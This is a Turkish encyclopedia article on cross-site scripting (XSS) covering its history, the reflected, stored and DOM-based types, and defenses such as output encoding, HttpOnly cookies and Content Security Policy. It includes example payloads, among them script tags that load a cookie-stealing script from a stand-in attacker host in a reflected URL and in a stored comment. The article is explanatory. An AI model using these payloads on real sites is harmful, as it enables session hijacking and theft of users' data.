Siteler arası betik çalıştırma

Siteler arası betik çalıştırma (İngilizce: Cross-Site Scripting, kısa adıyla XSS), genellikle web uygulamalarında görülen, genellikle HTML enjeksiyonu zafiyetiyle birlikte ortaya çıkan veya Java Script kullanan bazı aplikasyonlarda bulunan bir güvenlik açıklığıdır. XSS, diğer kullanıcılar tarafından görüntülenen web sayfalarına istemci taraflı Java Script kodunun enjekte edilmesine imkân verir. Siteler arası betik çalıştırma açıklığı, saldırganlar tarafından aynı kök politikası gibi bazı erişim kontrollerini atlatmak ve hedef adresin oturum katmanını ele geçirmek için kullanılabilmektedir. Web sayfaları üzerinde gerçekleştirilen siteler arası betik çalıştırma saldırıları, 2007 itibarıyla Symantec'in raporladığı tüm güvenlik açıklıklarının yaklaşık olarak %84'ünü oluşturmaktadır.^[1] Zafiyet içeren sitenin işlediği verinin hassasiyetine ve site sahibi tarafından uygulanan güvenlik tedbirlerine bağlı olarak, etkisi ufak bir aksamadan önemli bir güvenlik riskine kadar değişebilmektedir.

Web güvenliği, aynı kök politikası gibi güven unsurunun temelinde yatan mekanizmalar gibi pek çok mekanizmaya bağlıdır. Aynı kök politikası basitçe, eğer bir siteye (https://mybank.example1.com) ait içeriğe başka bir sistem üzerindeki kaynaklara erişim yetkisi verilmişse, bu siteye ait herhangi bir içeriğin de bu izinleri paylaşacağı ancak başka bir siteye (https://othersite.example2.com) ait içeriğin erişim için ayrıca izin alması gerektiğini ifade etmektedir.^[2]

Siteler arası betik çalıştırma saldırıları, web tabanlı uygulamalardaki, bunların sunucularındaki veya gereksinim duydukları pluginlerdeki bilinen açıklıkları kullanmaktadır. Bunlardan birisini istismar ederek, saldırganlar zafiyet içeren siteden gelen içeriğin içerisine kötücül içeriği eklemektedir. Oluşan birleştirilmiş içerik istemci tarafındaki web tarayıcısına eriştiğinde, tamamı güvenilir kaynaktan alınmış olduğu için sisteme verilen izinlerle çalışmaktadır. Web sayfalarına kötücül betikleri enjekte etmenin yolunu bularak, saldırgan hassas sayfa içeriğine, oturum çerezlerine ve kullanıcı adına tarayıcı tarafından yönetilen diğer pek çok bilgiye yükseltilmiş erişim yetkileri elde edebilir. Siteler arası betik çalıştırma saldırıları, bir kod enjeksiyonu çeşididir.^{[kaynak belirtilmeli]}

Microsoft siber güvenlik mühendisleri, "siteler arası betik çalıştırma" ifadesini Ocak 2000'de ortaya çıkarmıştır.^[3] "Siteler arası betik çalıştırma" ifadesi ilk olarak, hedeflenen alan adının güvenlik bağlamında saldırganın hazırladığı JavaScript kod parçasının çalıştırılabileceği bir şekilde, alakasız bir saldırgan sitesine ait veya ele geçirilmiş üçüncü parti bir web uygulamasının (yansıtılmış veya kalıcı olmayan bir XSS açıklığını kullanarak) yüklenmesini ifade ediyordu. Bu tanım daha sonra, bilgi güvenliği alanına yeni katılanlar için bir karışıklığa neden olacak şekilde, kalıcı ve JavaScript olamayan vektörleri (ActiveX, Java, VBScript, Flash veya HTML betikleri) de dahil edecek şekilde diğer kod enjeksiyonu türlerini de içerecek şekilde genişletilmiştir.^[4]

XSS açıklıkları, 1990'lardan beri raporlanmakta ve istismar edilmektedir. Geçmişte etkilenmiş önemli siteler arasında Twitter,^[5] Facebook,^[6] MySpace, YouTube ve Orkut gibi sosyal medya siteleri bulunmaktadır.^[7][8] Siteler arası betik çalıştırma açıklıkları bu yüzden ara bellek taşması açıklığını geçerek en yaygın şekilde raporlanan güvenlik açıklığı olmuştur.^[9] 2007 yılında bazı araştırmacılar, web sitelerinin %68'inin XSS saldırılarına karşı açık olduğunu belirtmiştir.^[10]

Siteler arası betik çalıştırma açıklıklarının standartlaştırılmış tek bir sınıflandırması bulunmamaktadır, ancak uzmanların çoğunluğu en azından 2 ayrı sınıfa ayırmaktadır: kalıcı olmayan ve kalıcı. Bazı kaynaklar, geleneksel (sunucu tarafındaki kod kusurlarından kaynaklanan) ve DOM-tabanlı (istemci tarafındaki kod içerisinde) olarak iki ayrı gruba daha ayırmaktadır.

Kalıcı olmayan (veya yansıtılmış) siteler arası betik çalıştırma açıklığı en temel web açıklığıdır.^[12] Bu açıklık, web istemcisi tarafından, en yaygın olarak HTTP sorgu parametreleri üzerinden (örn. HTML formlarından), sağlanan veri, kullanıcı için bir sonuç sayfası göstermek ve oluşturmak için sunucu taraflı betikler tarafından düzgün bir şekilde sterilize edilmeden hızlıca kullanıldığında ortaya çıkmaktadır.^[13]

HTML dokümanları kontrol ifadelerini, formatlamayı ve gerçek içeriği içeren düz ve seri bir yapıya sahip olduğu için, düzgün bir HTML kodlaması olmadan sayfada yer alan kullanıcının sağladığı geçerlenmemiş veri, markup enjeksiyonuna yol açabilmektedir. Potansiyel bir vektör örneği web sitesi arama motorudur: eğer birisi bir metin için arama yaparsa, arama metni, neyin aratıldığını belirtmek amacıyla hiçbir değişikliğe uğramadan sayfada tekrar gösterilmektedir. Eğer cevap paketi HTML kontrol karakterlerini filtrelemiyorsa veya reddetmiyorsa, bir siteler arası betik çalıştırma zafiyeti de beraberinde gelecektir.^[14]

Yansıtılmış bir saldırı, genelde e-posta veya bir web sayfası üzerinden yapılmaktadır. Yem, XSS vektörü içeren ve güvenilir bir siteye işaret eden, masum görünümlü bir URL'dir. Eğer güvenilir site XSS vektörüne karşı korumasızsa, linke tıklanması kurban tarayıcısının enjekte edilen betiği çalıştırmasına yol açmaktadır.

Kalıcı (veya depolanmış) XSS açıklığı, siteler arası betik çalıştırma açıklığının en yıkıcı çeşididir. Saldırgan tarafından sağlanan veri sunucuda saklandığında ve sonrasında diğer kullanıcıların düzenli gezinimi sırasında "normal" sayfa üzerinde kalıcı olarak gösterildiğinde ortaya çıkmaktadır.  Tipik bir örneği, kullanıcıların diğer kullanıcıların okuması için HTML formatında mesajlar göndermesine izin veren çevrimiçi mesajlaşmadır.

Örnek olarak, üyelerin ilgilerini çekebilecek diğer üyeleri bulmak için diğer üyelerin profillerini tarayabildikleri bir randevu sitesini düşünelim. Gizlilik nedeniyle, site herkesin gerçek adını ve e-posta adreslerini gizli tutmaktadır. Bu veriler sunucuda gizli olarak tutulmaktadır. Bir üyenin gerçek adının ve e-posta adresinin tarayıcı üzerinde gözüktüğü tek zaman üye giriş yaptığında olmaktadır ve başka hiçbir kimsenin bilgilerini görememektedirler.

Bir saldırganın, Mallory'nin, siteye katıldığını ve sitede gördüğü insanların gerçek isimlerini öğrenmek istediğini varsayalım. Bunu yapabilmek için, diğer kullanıcıların tarayıcısında kendi profiline baktıklarında çalışacak bir betik yazar. Betik daha sonra bu bilgileri toplayan Mallory'e ait bir sunucuya mesaj gönderir.

Bunu yapabilmek için, "Sizin için ideal ilk randevuyu tanımlayınız" sorusuna Mallory (normal gözükecek) kısa bir cevap verir, ancak cevabının sonuna isimleri ve e-posta adreslerini çalmak için yazdığı betiği ekler. Eğer betik <script> etiketleri içerisine alınmışsa ekranda gözükmeyecektir. Sonrasında başka bir üye olan Bob'un Mallory'nin profiline baktığını varsayalım. Betik otomatik olarak tarayıcı tarafından çalıştırılacak ve Bob'un gerçek adı ve e-posta adresini doğrudan onun makinesi aracılığıyla çalacaktır.

Kalıcı XSS açıklıkları, saldırganın kötücül betiği bireysel olarak kurbanların hedeflenmesine veya üçüncü parti bir siteyi kullandırtmaya gerek olmadan otomatik olarak çalıştırıldığı için diğer türlere göre çok daha önemlidir. Özellikle sosyal ağ sitelerinde, kod istemci taraflı bir solucan türü oluşturarak hesaplar arasında kendisini yayacak şekilde tasarlanabilmektedir.^[16]

Enjeksiyon yöntemleri çok farklı olabilir; bazı durumlarda saldırgan böyle bir açıklığı istismar etmek için doğrudan web uygulaması ile etkileşime geçmeye ihtiyaç duymayabilmektedir. Saldırgan tarafından kontrol edilebilen ve web uygulaması tarafından alınan herhangi bir veri (e-posta, sistem logları, IM vb. üzerinden), enjeksiyon vektörü olabilmektedir.

Tarihsel olarak XSS açıklıkları ilk olarak, tüm veriyi sunucu tarafında işleyen uygulamalarda bulunmaktaydı. Kullanıcı girdisi (XSS vektörleri dahil) sunucuya gönderilmekte ve sonrasında kullanıcıya web sayfası olarak geri gelmekteydi. Geliştirilmiş bir kullanıcı deneyimine olan ihtiyaç, AJAX kullanarak sunucudan ihtiyacı olduğunda veri çeken ve istemci tarafında çalışan bir sunum katmanı mantığına (JavaScript ile yazılabilir) sahip uygulamaların yaygınlaşmasına neden oldu.

JavaScript de kullanıcı girdisini işlediği ve web sayfası içeriğinde gösterdiği için, DOM-tabanlı siteler arası betik çalıştırma açıklığı olarak isimlendirilen yeni bir yansıtılmış XSS sınıfı oluştu. Bir DOM tabanlı XSS saldırısında, kötücül veri web sunucusuna ulaşmamaktadır. Bunun yerine, tamamen istemci tarafında olacak şekilde JavaScript kodu tarafından yansıtılmaktadır.^[18]

Örnek bir DOM tabanlı XSS açıklığı, 2011 yılında pek çok JQuery eklentisinde bulunan açıklıktır.^[19] DOM tabanlı XSS saldırıları için önleme stratejileri, geleneksel XSS önleme yöntemlerine çok benzerdir ancak JavaScript kodu içerisinde uygulanmaktadır ve web sayfaları içerisinde bulunmaktadır (örn. girdi denetimi ve sterilizasyon).^[20] Bazı JavaScript çerçeveleri bu ve diğer türdeki saldırılara karşı dahili önlemlere sahiptir — örneğin Angular.js.^[21]

Self-XSS, kurbanı kötücül JavaScript kodunu tarayıcısında çalıştırmaya ikna etmeye çalışan ve sosyal mühendisliğe dayanan bir XSS açıklık çeşididir. Sosyal mühendislik yöntemleriyle kullanıcının kod çalıştırmasını sağlamaya dayandığı için teknik olarak bir XSS açıklığı olmasa da, düzgün bir şekilde yapıldığında normal bir XSS açıklığıyla aynı risklere sahip olmaktadır.^[22]

Siteler arası betik çalıştırma açıklıklarını istismar etmek isteyen saldırganlar, her bir açıklık sınıfına farklı şekillerde yaklaşmalıdır. Her bir sınıf için özel bir saldırı vektörü burada açıklanacaktır. Aşağıdaki isimler, bilgisayar güvenliğinde yaygın olarak kullanılan Alice-Bob isimlendirmesinden alınan teknik terimlerdir.

Tarayıcı İstismar Çerçeve Yazılımı (Browser Exploitation Framework) web sayfasına ve kullanıcının yerel ortamına saldırmak için kullanılabilmektedir.

1. Alice sık sık Bob tarafından host edilen bir web sitesini ziyaret etmektedir. Bob'un sitesi, Alice'in bir kullanıcı adı ve parola çiftiyle giriş yapmasına ve faturulandırma bilgisi gibi hassas verileri saklamasına izin vermektedir. Bir kullanıcı oturum açtığında, tarayıcı bir Authorization çerezi tutmakta ve böylece her iki bilgisayar (sunucu ve istemci) kullanıcının giriş yaptığını hatırlamaktadır.
2. Mallory, Bob'un sitesinin yansıtılmış bir XSS açıklığına sahip olduğunu gözlemler:
   1. Arama sayfasını ziyaret ettiğinde, bir arama terimini arama kutusuna girdi olarak sağlar ve kaydet butonuna basar. Eğer hiçbir sonuç bulunamazsa, sayfa "not found" ifadesinin önüne arama terimini ekleyerek gösterir ve URL  http://bobssite.org?q=arama_terimi.
   2. "puppies" gibi normal bir arama sorgusuyla, sayfa sadece "puppies not found" ifadesini göstermekte ve URL "http://bobssite.org?q=puppies" olmaktadır.
   3. Ancak, "​html4strict​" gibi normal olmayan bir arama sorgusu gönderdiğinde:
      1. ("xss" yazan) Bir uyarı kutusu görünür.
      2. Sayfa 'xss' ifadesi ile ilgili bir hata mesajı ile beraber "​html4strict​ not found," ifadesini gösterir.
      3. Url "http://bobssite.org?q=<script%20type='text/javascript'>alert('xss');</script> olmaktadır - ki bu da istismar edilebilecek bir davranıştır.
3. Mallory açıklığı istismar etmek için bir URL oluşturur:
   1. http://bobssite.org?q=yavru<script%20src="http://mallorysevilsite.com/authstealer.js"></script> URL'ini oluşturur. Ayrıca http://bobssite.org?q=yavru%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E%3C%2Fscript%3E gibi ASCII karakterlerini on altılı sayı sistemi formatına çevirebilir, böylece normal kullanıcılar kötücül URL'i hemen anlayamazlar.^[23]
   2. "Şu sevimli kediciklere bakın" mesajıyla, Bob'un sitesinde üye olan ve şüphelenmeyecek bazı üyelere e-posta atar.
4. Alice e-postayı alır. Kedileri sevdiği için linke tıklar. Bob'un sitesinde arama yapar, "puppies not found" ifadesini görür, ancak (ekranda gözükmeyen) script etiketi çalışır ve Mallory'nin authstealer.js programını yükler ve çalıştırır. Alice bunu unutur ve devam eder.
5. Authstealer.js programı Alice'in tarayıcısında sanki Bob'un sitesinin bir parçası gibi çalışır. Alice'in Authorization çerezininin kopyasını alır ve Mallory'nin sunucusuna yollar.
6. Mallory, Alice'in Authorization çerezini sanki kendisinkiymiş gibi tarayıcısına ekler. Sonrasında Bob'un sitesine gider ve Alice olarak giriş yapmış olur.
7. Mallory sitenin Faturalandırma kısmına gider ve Alice'in kredi kartı numarasını öğrenir. Sonrasında parolayı değiştirme ekranına gidip parolayı değiştirir ve böylece Alice kendi hesabına giriş yapamaz.
8. Saldırıyı bir adım daha geliştirerek, benzer bir şekilde oluşturulmuş bir linki Bob'a gönderir ve böylece Bob'un sitesi üzerinde yönetici yetkilerine sahip olur.

Bu saldırıyı engellemek için aşağıdaki birkaç önlem alınabilir:

1. Arama girdisi, uygun kodlama kontrolünü içerecek şekilde sterilize edilebilir.
2. Web sunucusu geçersiz istekleri yönlendirecek şekilde ayarlanabilir.
3. Web sunucusu eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
4. Web sunucusu iki farklı IP adresinden eşzamanlı girişi tespit edebilir ve oturumları sonlandırabilir.
5. Web sitesi daha önce kullanılan kredi kartı numarasının sadece birkaç hanesini gösterebilir.
6. Web sitesi kullanıcıların kayıt bilgilerini değiştirmeden önce tekrar parolalarını girmelerini gerektirebilir.
7. Web sitesi İçerik Güvenlik Politikası'nın pek çok farklı yönünü kullanabilir.
8. Kullanıcılar, "tehlikesiz gözüken" ancak kötücül olan linklere tıklamamaları konusunda eğitilebilir.
9. Çerez HttpOnly bayrağı ile işaretlenerek JavaScript'in çereze erişimi engellenebilir.

1. Mallory Bob'un sitesinde bir hesap oluşturur.
2. Mallory Bob'un sitesinin bir depolanmış XSS açıklığı bulundurduğunu tespit eder.  Haberler kısmına gider ve bir yorum eklerse, yorum olarak yazdığı her şey sayfada tekrar gösterilmektedir. Ama, eğer yorum içerisinde HTML etiketleri içeriyorsa, etiketler olduğu gibi gösterilmekte ve herhangi bir script etiketi çalıştırılmaktadır.
3. Mallory Haberler bölümünde bir haber okur ve alttaki Yorumlar kısmına bir yorum yazar. Yorum kısmına şu ifadeyi ekler: Buradaki kedilere bayılıyorum! Çok tatlılar! <script src="http://mallorysevilsite.com/authstealer.js">
4. Alice (veya başka birisi) sayfayı bu yorumla birlikte yüklediğinde, Mallory'nin script etiketi çalışır ve Alice'in oturum çerezini çalar ve sonrasında Mallory'nin gizli sunucusuna gönderir.^[23]
5. Mallory böylece Alice'in oturumunu çalabilir ve Alice'miş gibi davranabilir.^[24]

Bob'un web sitesi yazılımı, script etiketlerini kaldırmalı veya çalışamaz hale getirmek için bir şey yapmalıydı, ancak güvenlik açıklığı zaten yapmamış olmamasından kaynaklanmaktadır.

Bağlamsal çıktı kodlama/çevirimi, XSS saldırılarını durdurmak icing kullanılan birincil savunma mekanizmasıdır. Güvenilmeyen metinlerin HTML dokümanı içerisinde nereye konulacağına bağlı olarak kullanılabilecek HTML varlık çevirimi, JavaScript çevirimi, CSS çevirimi ve URL kodlaması gibi pek çok farklı çevirim yöntemi bulunmaktadır.^[25] Zengin veri formatını kullanması gerekmeyen pek çok web uygulaması, basit bir şekilde XSS saldırıları riskini büyük ölçüde ortadan kaldırmak için kodlamayı/çevirimi kullanabilir.

Yaygın olarak tavsiye edilse de, saddle beş XML özel karakteri üzerinde HTML varlık kodlamasının kullanılması pek çok XSS saldırısı vektörünün engellemesinde yetersiz kalmaktadır. Kodlama genelde zor olduğu için, güvenlik için geliştirilmiş kodlama kütüphanelerinin kullanımı genellikle daha kolay bir çözüm olmaktadır.

Web uygulamalarının pen çoğu (örn. formula ve webmail) kullanıcıların belirli bir HTML etiketi setini kullanmalarına izin vermektedir. Kullanıcıdan HTML girdisi (örn. <b>çok</b>) alınırken, çıktı kodlaması (örn. <b>very</b> büyük), kullanıcı girdisi tarayıcı tarafından HTML girdisi olarak yorumlanması gerektiğinden ("<b>çok</b> büyük" şeklinde göstermek yerine "çok büyük" şeklinde göstermesi) yeterli olmamaktadır. will not suffice since the user input needs to be rendered as HTML by the browser (so it shows as "very large", instead of "<b>very</b> large"). Kullanıcıdan HTML girdisi alınırken XSS saldırılarının durdurulabilmesi çok daha karmaşık bir durumdur. Güvenilmeyen HTML girdisi, herhangi bir XSS kodu içermediğinden emin olunabilmesi için bir HTML sterilizasyon motorundan geçmelidir.

Pek çok geçerleme yöntemi, aşağıdaki gibi bazı "riskli" html etiketlerinin kaldırılmasına (kara liste uygulama) dayanmaktadır: Bu yaklaşım ile ilgili pek çok sorun bulunmaktadır. Örneğin, başarılı bir şekilde kullanıldığında XSS saldırısı ile sonuçlanabilecek bazı görünürde zararsız etiketlerin bırakılması.

(aşağıdaki örneğe bakınız)

<img src="javascript:alert(1)"> 

Diğer bir yaygın yöntem ise " ve ' işaretlerinin kullanıcı girdisinden çıkarılmasıdır. Ancak, bu da veri Gizleme (Obfuscation) ile gizlenebileceği için atlatılabilmektedir.

İçerik filtreleme dışında, siteler arası betik çalıştırma önlemleri için başka kesin çözüm getirmeyen yöntemler de yaygın olarak kullanılmaktadır. Bir örneği, çerez tabanlı kullanıcı kimlik doğrulaması yapılırken ilave güvenlik kontrollerinin uygulanmasıdır.  Çoğu web uygulaması bireysel HTTP istekleri arasında kimlik doğrulaması yapabilmek için oturum çerezlerini kullanmaktadır ve istemci taraflı betikler genelde bu çerezlere erişebildiği için basit XSS istismarları bu çerezleri çalabilmektedir.^[26] Bu tehdidi ortadan kaldırmak için (genel olarak XSS problemini çözmese de), çoğu web uygulaması başta giriş yapan kullanıcının IP adresi ile oturum çerezlerini ilişkilendirmekte ve sonrasında o çerezi sadece belirlediği IP adresinin kullanmasına izin vermektedir.^[27] Çoğu senaryoda (eğer saldırgan sadece çerezin peşinde ise) bu başarılı olmaktadır, ancak saldırganın kurbanla aynı NATlanmış IP adresini veya vekil sunucuyu kullandığı durumlarda veya kurbanın mobil IP adresini değiştirdiği durumlarda geçerli olmamaktadır.

Internet Explorer (versiyon 6 ve sonrası), Firefox (versiyon 2.0.0.5 ve sonrası), Safari (web tarayıcı) (versiyon 4 ve sonrası), Opera (versiyon 9.5 ve sonrası) ve Google Chrome'da bulunan bir diğer önleyici mekanizma da, istemci taraflı betiklere karşı bir çerezi erişilemez kılan HttpOnly bayrağıdır. Faydalı olsa da, bu özellik ne çerezin çalınmasını ne de tarayıcı içerisindeki saldırıları engellemektedir.^[28]

Web 2.0 ve Ajax geliştiricileri JavaScript kullanımını gerekli kılsa da,^[29] bazı web uygulamaları herhangi bir istemci taraflı betiğin çalışmasına ihtiyaç duymadan çalışacak şekilde yazılmıştır.^[30] Bu durum kullanıcıların, eğer torch ederlerse, uygulamayı kullanmadan önce tarayıcılarında betik çalıştırılmasını devre dışı bırakmalarına izin vermektedir. Bu şekilde, kötücül olması olası istemci taraflı betikler bile sterilize edilmeden sayfa içerisine eklenebilir ve kullanıcılar XSS açıklıklarına karşı korumasız kalmaz.

Bazı tarayıcılar veya tarayıcı eklentileri, alan adı seviyesinde istemci taraflı betiklerin çalışmasını engelleyecek şekilde yapılandırılabilir. Bu yaklaşım tamamen geçerli bir yaklaşım değildir, çünkü betik çalıştırma varsayılan olarak aktifse, kullanıcı sitenin kötücül olduğunu anladıktan yani iş işten geçtikten sonra engellenebilmektedir.  Varsayılan olarak tüm betik çalıştırmayı engelleyen ve sonrasında kullanıcının alan adları için aktif hale getirilebilmesine izin veren yaklaşım çok daha etkilidir. Bu Internet Explorer (versiyon 4 ve üstü) üzerinde "Security Zones" ayarları ile^[31] ve Opera(versiyon 9 ve üstü) üzerinde "Site Specific Preferences" ayarları ile^[32] yapılabilmektedir. Firefox ve Gecko tabanlı tarayıcılar için bir çözüm de açık kaynak kodlu NoScript eklentisidir. Bu eklenti alan adı bazında betikleri aktif edebilmesine ek olarak betikler aktif edildiğinde de bir takım XSS koruma mekanizması uygulamaktadır.^[33]

Varsayılan olarak tüm sitelerde betikleri devre dışı bırakmakla ilgili en önemli sorun, işlevsellik ve cevap vermedeki önemli azalıştır (istemci taraflı betik çalıştırma, uzak bir sunucuya bağlantı kurma gereksinimi duymadığı için, sunucu taraflı betik çalıştırmaya göre hızlıdır).^[34] Betiklerin devre dışı bırakılmasıyla ilgili bir diğer sorun da, çoğu kullanıcının bunu anlamaması ve tarayıcılarını uygun bir şekilde nasıl güvenli yapacaklarını bilmemesidir. Bir diğer dezavantajı da, çoğu sitenin istemci taraflı betikler olmadan çalışmaması ve kullanıcıları bu özelliği devre dışı bırakmaya zorlaması ve sistemlerini açıklıklara açmasıdır.^[35] Firefox NoScript eklentisi, kullanıcının verilen bir sayfa üzerinde belirli betiklere izin vermesini aynı sayfadaki diğerlerini engellemesine izin vermektedir. Örneğin, example.com sitesine ait betiklere izin verilebilirken, aynı sayfa üzerinde çalışmayı deneyen reklamajansi.com sitesine ait betikler devre dışı bırakılabilir.^[36]

Gelişmekte olan üç sınıf XSS savunması bulunmaktadır. Bunlar İçerik Güvenlik Politikası'nı,^[37] JavaScript mum havuzu araçlarını ve otomatik çevirim taslaklarını içermektedir. Bu mekanizmalar hala gelişmektedir, ancak XSS saldırılarının meydana geliş sıklığını büyük oranda düşürmeyi vadetmektedir.

Bazı şirketler, saldırının başarılı olup olmadığını test etmek için kendi sunucularından müşterininkine bir saldırı simüle ederek, periyodik bir tarama hizmeti sunmaktadır. Eğer saldırı başarılı olursa, müşteriye nasıl yapıldığına dair detaylı bilgi içeren bir rapor verilmekte ve müşteri başka birisi aynı saldırıyı yapmadan önce açıklığı kapatma şansı elde etmektedir.  Güncel bir testi geçen site üzerinde güvenilirlik işareti gösterilebilir. Tarama aracı tüm olası açıklıkları bulamayabilir,^[38] ve bu yüzden güvenilirlik işaretine sahip siteler hala yeni saldırı türlerine karşı açık olabilir. Ancak tarama bazı problemleri tespit edebilir. Müşteri bu sorunları çözdükten sonra, site bu hizmet alınmadan önceki haline göre daha güvenli olmaktadır. XSS açıklıklarına karşı tam bir koruma gerektiren siteler için, kaynak kod analizi gibi değerlendirme yöntemleri gerekmektedir. İlave olarak, eğer JavaScript sayfa üzerinde çalışıyorsa, güvenilirlik işareti, işaretin statik bir kopyası ile taklit edilebilir. (bu yüzden, teoride, bu tür bir hizmet XSS risklerini ortadan kaldırmak için yeterli olmayacaktır).

Bir Global Siteler Arası Betik Çalıştırma (UXSS Vera Global XSS) saldırısında, tarayıcı içerisindeki açıklıklar istismar edilmektedir (XSS saldırılarında olduğu gibi diğer web sitelerindeki açıklıklar yerine). Bu tür saldırılar yaygın olarak Anonymous tarafından bir ağın kontrolünü ele geçirmek için DDoS'a ile beraber yapılmaktadır.^[39]

Farklı açıklık kategorileri veya saldırı teknikleri XSS ile ilgilidir: cross-zone scripting saldırısı bazı tarayıcılardaki "zone" mantığını istismar etmekte ve genelde daha yüksek yetkilerle kod çalıştırmaktadır.^[40] HTTP Başlık Enjeksiyonu, HTTP protokolü seviyesindeki kodlama problemlerinden ötürü (HTTP yanıt bölme saldırısı gibi saldırıları mümkün kılmasına ek olarak) siteler arası betik çalıştırma şartlarının oluşturulmasında kullanılabilmektedir.^[41]

Siteler arası istek sahteciliği (CSRF/XSRF) neredeyse XSS'in zıddı sayılabilir. Çünkü, kullanıcının siteye olan güvenini istismar etmek yerine, saldırgan (ve onun kötücül sayfası), kimliği doğrulanmış kullanıcıların bilinçli eylemlerini temsil ettiğine inandığı istekleri yollayarak sitenin istemci yazılımına olan güvenini istismar etmektedir.^[42] XSS açıklıkları (aynı Alan adı üzerinde çalışan diğer uygulamalardakiler dahil) saldırganların CSRF tedbirlerini atlatabilmesine izin vermektedir.^[43]

Gizli yönlendirme, XSS Vera Açık Yönlendirme saldırılarına karşı korumasız olan üçüncü parti istemcilerden faydalanmaktadır.^[44] Normal oltalama girişimleri kolayca tespit edilebilir, çünkü kötücül sayfanın URL bilgisi genelde gerçek site isminden birkaç harf uzakta olacaktır. Gizli yönlendirmenin farkı, saldırganın kötücül bir giriş diyalog kutusu ile site içeriğini bozarak gerçek siteyi kullanmasıdır.^[45]

Son olarak, SQL Enjeksiyonu bir uygulamanın veri tabanı katmanındaki bir açıklığı istismar etmektedir. Kullanıcı girdisi yanlış bir şekilde filtrelendiğinde, herhangi bir SQL ifadesi uygulama tarafından çalıştırılabilmektedir.^[46][47]

• Web uygulama güvenliği
• İnternet güvenliği
• XML harici varlık saldırısı
• Tarayıcı güvenliği
• Aynı kök politikası
• Metasploit Projesi, XSS için de testler içeren bir açık kaynak kodlu sızma testi aracı
• w3af, açık kaynak kodlu bir web uygulama güvenliği tarayıcısı
• Betiklerin çalıştırılmasını engelleyen ücretsiz masaüstü tarayıcı eklentileri:
  • Mozilla Firefox için: NoScript, Policeman ya da uBlock Origin'in gelişmiş özellikleri, genel bir içerik engelleme eklentisi
  • Google Chrome için: ScriptSafe 3 Şubat 2019 tarihinde Wayback Machine sitesinde arşivlendi., µMatrix 3 Nisan 2015 tarihinde Wayback Machine sitesinde arşivlendi. (uBlock yaratıcısından bir eklenti) veya uBlock'un gelişmiş özellikleri
  • Opera (yeni Chromium tabanlı sürümleri) için: µMatrix 29 Aralık 2018 tarihinde Wayback Machine sitesinde arşivlendi. veya uBlock'un gelişmiş özellikleri
  • Safari için: JavaScript Blocker 8 Ağustos 2020 tarihinde Wayback Machine sitesinde arşivlendi. veya uBlock'un gelişmiş özellikleri
  • Internet Explorer için: Trust Setter, Güvenilen ve Yasaklanan Siteler belirlemek için bir arayüz (sadece 32-bit destekler, bu yüzden 64-bit Windows üzerinde gelişmiş Protected Mode ile çalışmamaktadır)
• XSSer 18 Eylül 2020 tarihinde Wayback Machine sitesinde arşivlendi.: XSS açıklıklarını tespit etmek, istismar etmek ve raporlamak için otomatize bir çerçeve yazılım
• Dokümanlar arası mesajlaşma
• Samy (bilgisayar solucanı)
• Self-XSS

• MacKenzie, Thomas. "ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages". 24 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015. 
• "XSS Explained – Simple XSS Explanation". 27 Eylül 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015. 
• "Preventing XSS in ASP.NET Made Easy". 6 Şubat 2015. 6 Ekim 2016 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015. 
• "Cross Site Scripting". 13 Ekim 2005. 1 Haziran 2010 tarihinde kaynağından arşivlendi. Erişim tarihi: 24 Ekim 2015. 

• OWASP: XSS, XSS Testleri, XSS için Kod Analizi 28 Kasım 2018 tarihinde Wayback Machine sitesinde arşivlendi.
• XSSed: Siteler Arası Betik Çalıştırma Saldırılarına Açık Web Siteleri Veri Tabanı 21 Ocak 2019 tarihinde Wayback Machine sitesinde arşivlendi.
• Siteler Arası Betik Çalıştırma Saldırısının Flash Animasyonu 21 Mayıs 2013 tarihinde Wayback Machine sitesinde arşivlendi.